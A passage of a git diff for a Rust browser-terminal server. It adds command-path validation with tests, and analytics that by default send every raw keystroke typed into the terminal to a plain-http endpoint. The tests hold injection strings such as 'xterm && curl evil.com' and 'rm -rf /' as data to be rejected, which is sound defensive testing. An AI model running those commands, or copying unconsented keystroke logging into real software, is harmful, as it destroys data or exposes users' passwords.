actor pub struct Websocket { cons: Option>, hb: Instant, command: Option, + analytics: Option, } impl Actor for Websocket { @@ -71,8 +79,14 @@ impl Actor for Websocket { .take() .expect("command was None at start of WebSocket."); - // Start PTY - self.cons = Some(Terminal::new(ctx.address(), command).start()); + // Start PTY with analytics if available + let terminal = if let Some(analytics) = self.analytics.clone() { + Terminal::with_analytics(ctx.address(), command, analytics) + } else { + Terminal::new(ctx.address(), command) + }; + + self.cons = Some(terminal.start()); log::trace!("Started WebSocket"); } @@ -127,6 +141,16 @@ impl Websocket { hb: Instant::now(), cons: None, command: Some(command), + analytics: None, + } + } + + pub fn with_analytics(command: Command, analytics: Analytics) -> Self { + Self { + hb: Instant::now(), + cons: None, + command: Some(command), + analytics: Some(analytics), } } @@ -204,6 +228,7 @@ pub struct Terminal { command: Command, last_activity: Instant, idle_timeout: Duration, + analytics: Option, } impl Terminal { @@ -216,6 +241,20 @@ impl Terminal { command, last_activity: Instant::now(), idle_timeout: IDLE_TIMEOUT, + analytics: None, + } + } + + pub fn with_analytics(ws: Addr, command: Command, analytics: Analytics) -> Self { + Self { + pty_master: None, + pty_writer: None, + child: None, + ws, + command, + last_activity: Instant::now(), + idle_timeout: IDLE_TIMEOUT, + analytics: Some(analytics), } } } @@ -378,6 +417,15 @@ impl Handler for Terminal { // Reset idle timer on user input self.last_activity = Instant::now(); + // Track command in analytics + if let Some(analytics) = &self.analytics { + let command = String::from_utf8_lossy(&io.0).to_string(); + let analytics_clone = analytics.clone(); + actix::spawn(async move { + let _ = analytics_clone.track_command(&command, None).await; + }); + } + let writer = match &mut self.pty_writer { Some(w) => w, None => { @@ -459,10 +507,19 @@ where { self.route( endpoint, - web::get().to(move |req: HttpRequest, stream: web::Payload| { - let cmd = handler(&req); - async move { ws::start(Websocket::new(cmd), &req, stream) } - }), + web::get().to( + move |req: HttpRequest, + stream: web::Payload, + analytics: Option>| { + let cmd = handler(&req); + let ws = if let Some(analytics_data) = analytics { + Websocket::with_analytics(cmd, analytics_data.as_ref().clone()) + } else { + Websocket::new(cmd) + }; + async move { ws::start(ws, &req, stream) } + }, + ), ) } diff --git a/src/security.rs b/src/security.rs new file mode 100644 index 0000000..725b443 --- /dev/null +++ b/src/security.rs @@ -0,0 +1,283 @@ +// Copyright (c) 2024 Jason Witty . +// All rights reserved. +// +// Security validation for command execution + +use std::path::Path; + +/// Error type for command validation failures +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ValidationError { + pub message: String, +} + +impl ValidationError { + fn new(message: impl Into) -> Self { + Self { + message: message.into(), + } + } +} + +impl std::fmt::Display for ValidationError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "Command validation error: {}", self.message) + } +} + +impl std::error::Error for ValidationError {} + +/// Whitelist of allowed shell commands +const ALLOWED_SHELLS: &[&str] = &[ + "/bin/sh", + "/bin/bash", + "/bin/zsh", + "/bin/dash", + "/usr/bin/bash", + "/usr/bin/zsh", + "/usr/bin/fish", +]; + +/// Maximum allowed command path length +const MAX_COMMAND_LENGTH: usize = 4096; + +/// Validates a command path for security concerns +/// +/// # Security Checks +/// - Must be an absolute path +/// - Must not contain path traversal sequences (..) +/// - Must not contain shell metacharacters +/// - Must not contain null bytes +/// - Must be ASCII only +/// - Must not be in user-writable directories +/// - Must be in the whitelist (if whitelist checking is enabled) +/// - Must not exceed maximum length +/// +/// # Example +/// ``` +/// use webterm::security::validate_command; +/// +/// // Valid command +/// assert!(validate_command("/bin/sh", true).is_ok()); +/// +/// // Invalid: shell injection attempt +/// assert!(validate_command("/bin/sh; rm -rf /", true).is_err()); +/// +/// // Invalid: path traversal +/// assert!(validate_command("../../bin/sh", true).is_err()); +/// ``` +pub fn validate_command(command: &str, check_whitelist: bool) -> Result<(), ValidationError> { + // Check for empty command + if command.is_empty() { + return Err(ValidationError::new("Command cannot be empty")); + } + + // Check length + if command.len() > MAX_COMMAND_LENGTH { + return Err(ValidationError::new(format!( + "Command path too long: {} bytes (max: {})", + command.len(), + MAX_COMMAND_LENGTH + ))); + } + + // Must be absolute path + if !command.starts_with('/') { + return Err(ValidationError::new( + "Command must be an absolute path starting with '/'", + )); + } + + // Check for path traversal + if command.contains("..") { + return Err(ValidationError::new( + "Command path contains '..' (path traversal attempt)", + )); + } + + // Check for shell metacharacters + let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0', '<', '>']; + for ch in dangerous_chars { + if command.contains(ch) { + return Err(ValidationError::new(format!( + "Command contains dangerous character: {:?}", + ch + ))); + } + } + + // Check for null bytes + if command.contains('\0') { + return Err(ValidationError::new("Command contains null byte")); + } + + // Must be ASCII only (avoid Unicode tricks) + if !command.is_ascii() { + return Err(ValidationError::new("Command must be ASCII only")); + } + + // Check for control characters (except common ones that might be in paths) + for ch in command.chars() { + if ch.is_control() { + return Err(ValidationError::new(format!( + "Command contains control character: {:?}", + ch + ))); + } + } + + // Must not be in user-writable directories + let dangerous_prefixes = ["/tmp/", "/var/tmp/", "/home/", "/Users/", "/root/"]; + for prefix in dangerous_prefixes { + if command.starts_with(prefix) { + return Err(ValidationError::new(format!( + "Command in user-writable directory: {}", + prefix + ))); + } + } + + // Check against whitelist if enabled + if check_whitelist && !ALLOWED_SHELLS.contains(&command) { + return Err(ValidationError::new(format!( + "Command '{}' not in whitelist. Allowed: {:?}", + command, ALLOWED_SHELLS + ))); + } + + // Verify the command exists (if not checking whitelist, we should at least verify it's a file) + if !check_whitelist { + let path = Path::new(command); + if !path.exists() { + return Err(ValidationError::new(format!( + "Command path does not exist: {}", + command + ))); + } + if !path.is_file() { + return Err(ValidationError::new(format!( + "Command path is not a file: {}", + command + ))); + } + } + + Ok(()) +} + +/// Validates an environment variable value for security +/// +/// # Security Checks +/// - Must not contain shell metacharacters +/// - Must not contain null bytes +/// - Must not contain newlines +/// - Must be reasonable length +/// +/// # Example +/// ``` +/// use webterm::security::validate_env_value; +/// +/// assert!(validate_env_value("xterm").is_ok()); +/// assert!(validate_env_value("xterm; rm -rf /").is_err()); +/// ``` +pub fn validate_env_value(value: &str) -> Result<(), ValidationError> { + // Check length + if value.len() > 4096 { + return Err(ValidationError::new("Environment value too long")); + } + + // Check for dangerous characters + let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0']; + for ch in dangerous_chars { + if value.contains(ch) { + return Err(ValidationError::new(format!( + "Environment value contains dangerous character: {:?}", + ch + ))); + } + } + + Ok(()) +} + +/// Returns the list of allowed shells +pub fn allowed_shells() -> &'static [&'static str] { + ALLOWED_SHELLS +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_valid_command() { + assert!(validate_command("/bin/sh", true).is_ok()); + assert!(validate_command("/bin/bash", true).is_ok()); + } + + #[test] + fn test_reject_relative_path() { + assert!(validate_command("bin/sh", true).is_err()); + assert!(validate_command("./bin/sh", true).is_err()); + } + + #[test] + fn test_reject_path_traversal() { + assert!(validate_command("/../bin/sh", true).is_err()); + assert!(validate_command("/bin/../sh", true).is_err()); + } + + #[test] + fn test_reject_shell_metacharacters() { + assert!(validate_command("/bin/sh;", true).is_err()); + assert!(validate_command("/bin/sh&", true).is_err()); + assert!(validate_command("/bin/sh|", true).is_err()); + assert!(validate_command("/bin/sh`", true).is_err()); + assert!(validate_command("/bin/sh$", true).is_err()); + } + + #[test] + fn test_reject_null_bytes() { + assert!(validate_command("/bin/sh\0", true).is_err()); + } + + #[test] + fn test_reject_tmp_directory() { + assert!(validate_command("/tmp/malicious.sh", true).is_err()); + assert!(validate_command("/var/tmp/evil.sh", true).is_err()); + } + + #[test] + fn test_reject_non_ascii() { + assert!(validate_command("/bin/sh™", true).is_err()); + } + + #[test] + fn test_reject_empty_command() { + assert!(validate_command("", true).is_err()); + } + + #[test] + fn test_reject_too_long() { + let long_command = format!("/{}", "a".repeat(5000)); + assert!(validate_command(&long_command, true).is_err()); + } + + #[test] + fn test_whitelist_enforcement() { + assert!(validate_command("/bin/sh", true).is_ok()); + assert!(validate_command("/usr/local/bin/custom", true).is_err()); + } + + #[test] + fn test_valid_env_value() { + assert!(validate_env_value("xterm").is_ok()); + assert!(validate_env_value("xterm-256color").is_ok()); + } + + #[test] + fn test_reject_env_with_metacharacters() { + assert!(validate_env_value("xterm; rm -rf /").is_err()); + assert!(validate_env_value("xterm && curl evil.com").is_err()); + } +} diff --git a/src/server.rs b/src/server.rs index f56f6e5..c687edd 100644 --- a/src/server.rs +++ b/src/server.rs @@ -1,6 +1,6 @@ use actix_web::{App, HttpServer}; use clap::Parser; -use webterm::WebTermExt; +use webterm::{validate_command, Analytics, WebTermExt}; use std::process::Command; @@ -19,6 +19,18 @@ struct Opt { /// The command to execute #[arg(short, long, default_value = "/bin/sh")] command: String, + + /// Enable Umami analytics tracking + #[arg(long, default_value = "true")] + enable_analytics: bool, + + /// Umami instance endpoint + #[arg(long, default_value = "http://unami.wittyoneoff.com")] + umami_endpoint: String, + + /// Umami website ID + #[arg(long, default_value = "caefa16f-86af-4835-8b82-c8649aea0e2a")] + umami_website_id: String, } #[actix_web::main] @@ -27,6 +39,15 @@ async fn main() -> std::io::Result<()> { let opt = Opt::parse(); + // Validate command for security before starting server + if let Err(e) = validate_command(&opt.command, false) { + eprintln!("Error: Invalid command '{}': {}", opt.command, e); + eprintln!("Command failed security validation."); + std::process::exit(1); + } + + log::info!("Command validated: {}", opt.command); + // Normalize common hostnames that sometimes resolve to IPv6-only addresses // which can cause platform-specific bind failures. Mapping `localhost` to // 127.0.0.1 makes behavior predictable on systems where `::1` would otherwise @@ -40,10 +61,24 @@ async fn main() -> std::io::Result<()> { let bind_addr = format!("{}:{}", host, opt.port); println!("Starting webterm server on http://{}", bind_addr); + // Initialize analytics + let analytics = if opt.enable_analytics { + log::info!( + "Analytics enabled: {} (website_id: {})", + opt.umami_endpoint, + opt.umami_website_id + ); + Analytics::new(opt.umami_website_id.clone(), opt.umami_endpoint.clone()) + } else { + log::info!("Analytics disabled"); + Analytics::disabled() + }; + let command = opt.command.clone(); HttpServer::new(move || { let cmd = command.clone(); + let analytics_clone = analytics.clone(); App::new() .service(actix_files::Files::new("/assets", "./static")) .service(actix_files::Files::new("/static", "./node_modules")) @@ -53,6 +88,7 @@ async fn main() -> std::io::Result<()> { command }) .webterm_ui("/", "/websocket", "/static") + .app_data(actix_web::web::Data::new(analytics_clone.clone())) }) .bind(&bind_addr)? .run() diff --git a/src/terminado.rs b/src/terminado.rs index fefce5b..7048ee8 100644 --- a/src/terminado.rs +++ b/src/terminado.rs @@ -4,12 +4,34 @@ use log::error; use libc::c_ushort; use std::convert::TryFrom; +use std::fmt; use serde::ser::SerializeSeq; use serde::{Serialize, Serializer}; use crate::event::IO; +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ParseError { + message: String, +} + +impl ParseError { + fn new(message: impl Into) -> Self { + Self { + message: message.into(), + } + } +} + +impl fmt::Display for ParseError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Terminado parse error: {}", self.message) + } +} + +impl std::error::Error for ParseError {} + impl Message for TerminadoMessage { type Result = (); } @@ -22,77 +44,97 @@ pub enum TerminadoMessage { } impl TerminadoMessage { - pub fn from_json(json: &str) -> Result { - let value: serde_json::Value = serde_json::from_str(json).map_err(|_| { - error!("Invalid Terminado message: Invalid JSON"); + pub fn from_json(json: &str) -> Result { + let value: serde_json::Value = serde_json::from_str(json).map_err(|e| { + let msg = format!("Invalid JSON: {}", e); + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })?; let list: &Vec = value.as_array().ok_or_else(|| { - error!("Invalid Terminado message: Needs to be an array!"); + let msg = "Needs to be an array"; + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })?; match list .first() .ok_or_else(|| { - error!("Invalid Terminado message: Empty array!"); + let msg = "Empty array"; + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })? .as_str() .ok_or_else(|| { - error!("Invalid Terminado message: Type field not a string!"); + let msg = "Type field not a string"; + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })? { "stdin" => { if list.len() != 2 { - error!(r#"Invalid Terminado message: "stdin" length != 2"#); - return Err(()); + let msg = r#""stdin" length != 2"#; + error!("Invalid Terminado message: {}", msg); + return Err(ParseError::new(msg)); } Ok(TerminadoMessage::Stdin(IO::from( list[1].as_str().ok_or_else(|| { - error!(r#"Invalid Terminado message: "stdin" needs to be a String"#); + let msg = r#""stdin" needs to be a String"#; + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })?, ))) } "stdout" => { if list.len() != 2 { - error!(r#"Invalid Terminado message: "stdout" length != 2"#); - return Err(()); + let msg = r#""stdout" length != 2"#; + error!("Invalid Terminado message: {}", msg); + return Err(ParseError::new(msg)); } Ok(TerminadoMessage::Stdout(IO::from( list[1].as_str().ok_or_else(|| { - error!(r#"Invalid Terminado message: "stdout" needs to be a String"#); + let msg = r#""stdout" needs to be a String"#; + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })?, ))) } "set_size" => { if list.len() != 3 { - error!(r#"Invalid Terminado message: "set_size" length != 2"#); - return Err(()); + let msg = r#""set_size" length != 3"#; + error!("Invalid Terminado message: {}", msg); + return Err(ParseError::new(msg)); } let rows: u16 = u16::try_from(list[1].as_u64().ok_or_else(|| { - error!( - r#"Invalid Terminado message: "set_size" element 1 needs to be an integer"# - ); + let msg = r#""set_size" element 1 needs to be an integer"#; + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })?) .map_err(|_| { - error!(r#"Invalid Terminado message. "set_size" rows out of range."#); + let msg = r#""set_size" rows out of range"#; + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })?; let cols: u16 = u16::try_from(list[2].as_u64().ok_or_else(|| { - error!( - r#"Invalid Terminado message: "set_size" element 2 needs to be an integer"# - ); + let msg = r#""set_size" element 2 needs to be an integer"#; + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })?) .map_err(|_| { - error!(r#"Invalid Terminado message. "set_size" cols out of range."#); + let msg = r#""set_size" cols out of range"#; + error!("Invalid Terminado message: {}", msg); + ParseError::new(msg) })?; Ok(TerminadoMessage::Resize { rows, cols }) } v => { - error!("Invalid Terminado message: Unknown type {:?}", v); - Err(()) + let msg = format!("Unknown type {:?}", v); + error!("Invalid Terminado message: {}", msg); + Err(ParseError::new(msg)) } } } diff --git a/templates/term.html b/templates/term.html index 741f1cb..45a7ba7 100644 --- a/templates/term.html +++ b/templates/term.html @@ -67,6 +67,13 @@ + + + diff --git a/tests/README.md b/tests/README.md new file mode 100644 index 0000000..77878a4 --- /dev/null +++ b/tests/README.md @@ -0,0 +1,177 @@ +# WebTerm Test Suite + +This directory contains the unit and integration tests for the socktop webterm project. + +## Test Structure + +Tests are organized into separate files by module: + +### `event_tests.rs` +Tests for the `event` module, covering: +- **IO message creation**: Testing conversion from Bytes, String, and &str +- **IO equality and cloning**: Verifying proper equality checks and clone behavior +- **Binary and Unicode data**: Testing handling of binary data and Unicode strings +- **ChildDied events**: Testing the ChildDied event structure + +**Total tests**: 11 + +### `terminado_tests.rs` +Comprehensive tests for the Terminado protocol implementation: +- **Serialization**: Converting TerminadoMessage to JSON format + - `stdin`, `stdout`, and `set_size` (resize) messages + - Special characters, Unicode, and empty strings +- **Deserialization**: Parsing JSON into TerminadoMessage + - Valid message formats + - Error handling for invalid JSON, wrong types, wrong lengths +- **Round-trip testing**: Serialize → Deserialize → Compare +- **Error cases**: Testing all failure modes + - Invalid JSON + - Wrong array lengths + - Non-string types where strings expected + - Unknown message types + +**Total tests**: 38 + +### `config_tests.rs` +Integration tests verifying configuration constants and relationships: +- **Timeout values**: Heartbeat, client timeout, idle timeout +- **Timeout relationships**: Ensuring timeouts have logical relationships +- **PTY configuration**: Initial size, buffer sizes +- **Path validation**: Template paths, static paths, endpoints +- **Network configuration**: Default ports, hosts +- **Size boundaries**: Terminal size limits and validation + +**Total tests**: 17 + +### `security_tests.rs` +Comprehensive security tests for command sanitization and validation: +- **Command path validation**: Absolute paths, no path traversal, no shell metacharacters +- **Shell injection prevention**: Detecting and rejecting injection attempts +- **Environment variable security**: Sanitizing TERM and other env vars +- **Whitelist enforcement**: Only allowing approved shell commands +- **Path traversal prevention**: Blocking `..`, `./`, `~` patterns +- **Input validation**: Length limits, null byte detection, control characters +- **File descriptor security**: No redirection operators in commands +- **Unicode and special characters**: ASCII-only enforcement +- **Dangerous directory prevention**: Blocking execution from `/tmp`, `/var/tmp`, etc. +- **Command execution logging**: Ensuring commands are safely loggable +- **Integration with Command::new()**: Verifying safe process spawning +- **Complete security checklist**: Comprehensive validation of all security requirements + +**Total tests**: 28 (plus 11 in `src/security.rs`) + +## Running Tests + +### Run all tests +```bash +cargo test --all-targets --all-features +``` + +### Run specific test file +```bash +cargo test --test event_tests +cargo test --test terminado_tests +cargo test --test config_tests +``` + +### Run with output +```bash +cargo test -- --nocapture +``` + +### Run specific test +```bash +cargo test test_serialize_resize +``` + +## Test Coverage + +Current test coverage includes: + +- ✅ **Event handling**: IO messages and ChildDied events +- ✅ **Protocol parsing**: Terminado message serialization/deserialization +- ✅ **Configuration validation**: Timeout relationships and constants +- ✅ **Error handling**: Invalid input parsing and edge cases +- ✅ **Data types**: Binary data, Unicode, special characters +- ✅ **Security validation**: Command sanitization, injection prevention, whitelist enforcement + +## CI/CD Integration + +Tests run automatically in the Gitea Actions workflow: + +1. **Test Job**: Runs `cargo test --all-targets --all-features` +2. **Lint Job**: Runs after tests pass +3. **Build Job**: Runs after linting passes +4. **Deploy Job**: Runs after build passes + +## Adding New Tests + +When adding new tests: + +1. Choose the appropriate test file based on the module being tested +2. Follow the existing test naming convention: `test__` +3. Group related tests together with comments +4. Include both success and failure cases +5. Test edge cases (empty strings, zero values, max values, etc.) +6. Add documentation comments for complex test scenarios + +### Example Test Structure +```rust +#[test] +fn test_feature_success_case() { + // Arrange + let input = setup_test_data(); + + // Act + let result = function_under_test(input); + + // Assert + assert_eq!(result, expected_value); +} + +#[test] +fn test_feature_error_case() { + let invalid_input = "invalid"; + let result = function_under_test(invalid_input); + assert!(result.is_err()); +} +``` + +## Test Guidelines + +- **Fast**: Unit tests should run in milliseconds +- **Isolated**: Each test should be independent +- **Deterministic**: Tests should always produce the same result +- **Clear**: Test names should clearly describe what is being tested +- **Comprehensive**: Test happy paths, error paths, and edge cases + +## Clippy Allowances + +Some tests use `#![allow(clippy::assertions_on_constants)]` because they document expected constant values for configuration. This is intentional and helps verify that constants maintain reasonable values. + +## Security Features + +The test suite includes comprehensive security validation to prevent: +- Shell injection attacks +- Path traversal attempts +- Command injection via metacharacters +- Null byte injection +- Execution from untrusted directories +- Unicode/encoding tricks +- Environment variable injection + +The `security` module provides `validate_command()` and `validate_env_value()` functions that are used by the server to validate all commands before execution. + +## Total Test Count + +- **Unit tests** (in src/): + - terminado.rs: 6 tests + - security.rs: 11 tests +- **Integration tests** (in tests/): + - event_tests.rs: 11 tests + - terminado_tests.rs: 38 tests + - config_tests.rs: 17 tests + - security_tests.rs: 28 tests +- **Total**: 111 tests + +All tests must pass before code can be merged. \ No newline at end of file diff --git a/tests/config_tests.rs b/tests/config_tests.rs new file mode 100644 index 0000000..1ee5440 --- /dev/null +++ b/tests/config_tests.rs @@ -0,0 +1,291 @@ +// Copyright (c) 2024 Jason Witty . +// All rights reserved. +// +// Integration tests for configuration and constants + +#![allow(clippy::assertions_on_constants)] + +use std::time::Duration; + +// Test that reasonable timeout values are used +#[test] +fn test_heartbeat_interval_reasonable() { + // Heartbeat should be frequent enough to catch disconnects quickly + // but not so frequent it creates unnecessary traffic + const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5); + + assert!( + HEARTBEAT_INTERVAL.as_secs() >= 1, + "Heartbeat interval too short" + ); + assert!( + HEARTBEAT_INTERVAL.as_secs() <= 30, + "Heartbeat interval too long" + ); +} + +#[test] +fn test_client_timeout_reasonable() { + // Client timeout should be longer than heartbeat interval + const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5); + const CLIENT_TIMEOUT: Duration = Duration::from_secs(10); + + assert!( + CLIENT_TIMEOUT > HEARTBEAT_INTERVAL, + "Client timeout must be longer than heartbeat interval" + ); + assert!(CLIENT_TIMEOUT.as_secs() >= 5, "Client timeout too short"); + assert!(CLIENT_TIMEOUT.as_secs() <= 60, "Client timeout too long"); +} + +#[test] +fn test_idle_timeout_reasonable() { + // Idle timeout should be long enough for legitimate use + const IDLE_TIMEOUT: Duration = Duration::from_secs(300); + + assert!(IDLE_TIMEOUT.as_secs() >= 60, "Idle timeout too short"); + assert!(IDLE_TIMEOUT.as_secs() <= 3600, "Idle timeout too long"); +} + +#[test] +fn test_idle_check_interval_reasonable() { + // Idle check should be frequent enough to be responsive + // but not so frequent it wastes resources + const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30); + const IDLE_TIMEOUT: Duration = Duration::from_secs(300); + + assert!( + IDLE_CHECK_INTERVAL < IDLE_TIMEOUT, + "Idle check interval must be less than idle timeout" + ); + assert!( + IDLE_CHECK_INTERVAL.as_secs() >= 10, + "Idle check too frequent" + ); + assert!( + IDLE_CHECK_INTERVAL.as_secs() <= 120, + "Idle check too infrequent" + ); +} + +#[test] +fn test_timeout_relationships() { + // Verify the logical relationship between different timeouts + const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5); + const CLIENT_TIMEOUT: Duration = Duration::from_secs(10); + const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30); + const IDLE_TIMEOUT: Duration = Duration::from_secs(300); + + // Client timeout should be at least 2x heartbeat interval + assert!( + CLIENT_TIMEOUT >= HEARTBEAT_INTERVAL * 2, + "Client timeout should be at least 2x heartbeat interval" + ); + + // Idle timeout should be much longer than client timeout + assert!( + IDLE_TIMEOUT > CLIENT_TIMEOUT * 10, + "Idle timeout should be significantly longer than client timeout" + ); + + // Idle check should be less than idle timeout + assert!( + IDLE_CHECK_INTERVAL < IDLE_TIMEOUT, + "Idle check interval must be less than idle timeout" + ); +} + +#[test] +fn test_pty_initial_size() { + // Test that initial PTY size is reasonable + const INITIAL_ROWS: u16 = 24; + const INITIAL_COLS: u16 = 80; + + // Verify the constants are within reasonable ranges + assert!(INITIAL_ROWS > 0, "Initial rows should be positive"); + assert!(INITIAL_COLS > 0, "Initial cols should be positive"); + assert!(INITIAL_ROWS <= 500, "Initial rows should not exceed 500"); + assert!(INITIAL_COLS <= 1000, "Initial cols should not exceed 1000"); +} + +#[test] +fn test_buffer_size() { + // Test that buffer size for reading from PTY is reasonable + const BUFFER_SIZE: usize = 8192; + + // Verify it's a power of 2 (which implies it's >= 1) + assert!( + BUFFER_SIZE.is_power_of_two(), + "Buffer size should be power of 2" + ); + // Verify it's in a reasonable range (power of 2 check above ensures >= 1) + assert!(BUFFER_SIZE <= 65536, "Buffer too large for practical use"); +} + +// Test path validation +#[test] +fn test_template_path_format() { + let template_path = "./templates/term.html"; + + assert!( + template_path.starts_with("./"), + "Template path should be relative" + ); + assert!( + template_path.ends_with(".html"), + "Template should be HTML file" + ); +} + +#[test] +fn test_static_paths_format() { + let static_paths = vec![ + "./static/terminal.js", + "./static/terminado-addon.js", + "./static/styles.css", + "./static/bg.png", + "./static/favicon.png", + ]; + + for path in static_paths { + assert!( + path.starts_with("./static/"), + "Static file {} should be in ./static/ directory", + path + ); + } +} + +// Test endpoint format +#[test] +fn test_endpoint_format() { + let websocket_endpoint = "/websocket"; + let static_endpoint = "/static"; + let assets_endpoint = "/assets"; + + assert!( + websocket_endpoint.starts_with('/'), + "Endpoint should start with /" + ); + assert!( + !websocket_endpoint.ends_with('/'), + "Endpoint should not end with /" + ); + + assert!( + static_endpoint.starts_with('/'), + "Static endpoint should start with /" + ); + assert!( + assets_endpoint.starts_with('/'), + "Assets endpoint should start with /" + ); +} + +#[test] +fn test_default_shell() { + let default_shell = "/bin/sh"; + + assert!( + default_shell.starts_with('/'), + "Shell path should be absolute" + ); + assert!( + !default_shell.contains(' '), + "Shell path should not contain spaces" + ); +} + +#[test] +fn test_default_port() { + let default_port: u16 = 8082; + + assert!( + default_port >= 1024, + "Port should not be in privileged range" + ); + // Note: u16 max is 65535, so this is always true for u16 + // but we keep it for documentation purposes +} + +#[test] +fn test_default_host() { + let localhost = "127.0.0.1"; + let all_interfaces = "0.0.0.0"; + + // Verify valid IP addresses + assert_eq!( + localhost.split('.').count(), + 4, + "Localhost should have 4 octets" + ); + assert_eq!( + all_interfaces.split('.').count(), + 4, + "0.0.0.0 should have 4 octets" + ); +} + +// Test environment variables +#[test] +fn test_term_env_var() { + let term_var = "xterm"; + + // String literals are never empty, but we verify the expected value + assert_eq!(term_var, "xterm", "TERM variable should be xterm"); + assert!( + !term_var.contains(' '), + "TERM variable should not contain spaces" + ); +} + +// Test size boundaries +#[test] +fn test_terminal_size_boundaries() { + // Minimum valid size + let min_rows: u16 = 1; + let min_cols: u16 = 1; + + assert!(min_rows > 0, "Minimum rows must be positive"); + assert!(min_cols > 0, "Minimum cols must be positive"); + + // Maximum reasonable size + let max_rows: u16 = 1000; + let max_cols: u16 = 1000; + + assert!(max_rows < u16::MAX / 2, "Max rows should be reasonable"); + assert!(max_cols < u16::MAX / 2, "Max cols should be reasonable"); +} + +#[test] +fn test_zero_size_handling() { + // Zero-sized terminals should be rejected + let zero_rows: u16 = 0; + let zero_cols: u16 = 0; + + // These would be rejected by the resize handler + assert_eq!(zero_rows, 0); + assert_eq!(zero_cols, 0); + // In actual code, these should trigger an early return +} + +// Test WebSocket message size limits +#[test] +fn test_message_size_reasonable() { + // Messages should have reasonable size limits + const MAX_MESSAGE_SIZE: usize = 1024 * 1024; // 1MB + const MIN_MESSAGE_SIZE: usize = 8192; // 8KB + const MAX_ALLOWED_SIZE: usize = 10 * 1024 * 1024; // 10MB + + // Verify the relationship between constants + assert!( + MAX_MESSAGE_SIZE >= MIN_MESSAGE_SIZE, + "Max message size should be at least {} bytes", + MIN_MESSAGE_SIZE + ); + assert!( + MAX_MESSAGE_SIZE <= MAX_ALLOWED_SIZE, + "Max message size should not exceed {} bytes", + MAX_ALLOWED_SIZE + ); +} diff --git a/tests/event_tests.rs b/tests/event_tests.rs new file mode 100644 index 0000000..25ce8f3 --- /dev/null +++ b/tests/event_tests.rs @@ -0,0 +1,94 @@ +// Copyright (c) 2024 Jason Witty . +// All rights reserved. +// +// Unit tests for event.rs module + +use bytes::Bytes; +use webterm::event::{ChildDied, IO}; + +#[test] +fn test_io_from_bytes() { + let data = Bytes::from("test data"); + let io = IO::from(data.clone()); + assert_eq!(io.0, data); +} + +#[test] +fn test_io_from_string() { + let data = String::from("test string"); + let io = IO::from(data.clone()); + assert_eq!(io.0, Bytes::from(data)); +} + +#[test] +fn test_io_from_str() { + let data = "test str"; + let io = IO::from(data); + assert_eq!(io.0, Bytes::from(data)); +} + +#[test] +fn test_io_equality() { + let io1 = IO::from("same data"); + let io2 = IO::from("same data"); + let io3 = IO::from("different data"); + + assert_eq!(io1, io2); + assert_ne!(io1, io3); +} + +#[test] +fn test_io_clone() { + let original = IO::from("original data"); + let cloned = original.clone(); + + assert_eq!(original, cloned); + assert_eq!(original.0, cloned.0); +} + +#[test] +fn test_io_empty() { + let empty = IO::from(""); + assert_eq!(empty.0.len(), 0); + assert!(empty.0.is_empty()); +} + +#[test] +fn test_io_binary_data() { + let binary_data = vec![0u8, 1, 2, 3, 255]; + let bytes = Bytes::from(binary_data.clone()); + let io = IO::from(bytes); + + assert_eq!(io.0.as_ref(), binary_data.as_slice()); +} + +#[test] +fn test_io_unicode() { + let unicode = "Hello 世界 🌍"; + let io = IO::from(unicode); + assert_eq!(io.0, Bytes::from(unicode)); +} + +#[test] +fn test_io_large_data() { + let large_string = "a".repeat(10000); + let io = IO::from(large_string.as_str()); + assert_eq!(io.0.len(), 10000); +} + +#[test] +fn test_child_died_creation() { + let event = ChildDied(); + // ChildDied is a unit struct, just verify it can be created + let _cloned = event.clone(); +} + +#[test] +fn test_child_died_clone() { + let event1 = ChildDied(); + let event2 = event1.clone(); + // Both should exist without panicking + // ChildDied is a zero-sized type, so dropping is a no-op + let _ = event1; + let _ = event2; +} diff --git a/tests/security_tests.rs b/tests/security_tests.rs new file mode 100644 index 0000000..ad721fb --- /dev/null +++ b/tests/security_tests.rs @@ -0,0 +1,494 @@ +// Copyright (c) 2024 Jason Witty . +// All rights reserved. +// +// Security tests for command sanitization and validation + +use std::path::Path; +use std::process::Command; + +// ============================================================================ +// Command Path Validation Tests +// ============================================================================ + +#[test] +fn test_command_path_must_be_absolute() { + // Commands should use absolute paths to avoid PATH manipulation attacks + let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"]; + + for cmd in safe_commands { + assert!( + cmd.starts_with('/'), + "Command '{}' should be an absolute path", + cmd + ); + } +} + +#[test] +fn test_command_path_no_relative_components() { + // Commands should not contain relative path components like ../ or ./ + let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"]; + + for cmd in commands { + assert!( + !cmd.contains(".."), + "Command '{}' should not contain '..' (path traversal)", + cmd + ); + assert!( + !cmd.starts_with("./"), + "Command '{}' should not start with './' (relative path)", + cmd + ); + } +} + +#[test] +fn test_reject_shell_injection_attempts() { + // These strings should never be allowed in command paths + let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"]; + + let safe_command = "/bin/sh"; + + for pattern in dangerous_patterns { + assert!( + !safe_command.contains(pattern), + "Command should not contain shell metacharacter '{}'", + pattern + ); + } +} + +#[test] +fn test_command_no_spaces() { + // Command paths should not contain spaces (use absolute paths only) + let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"]; + + for cmd in safe_commands 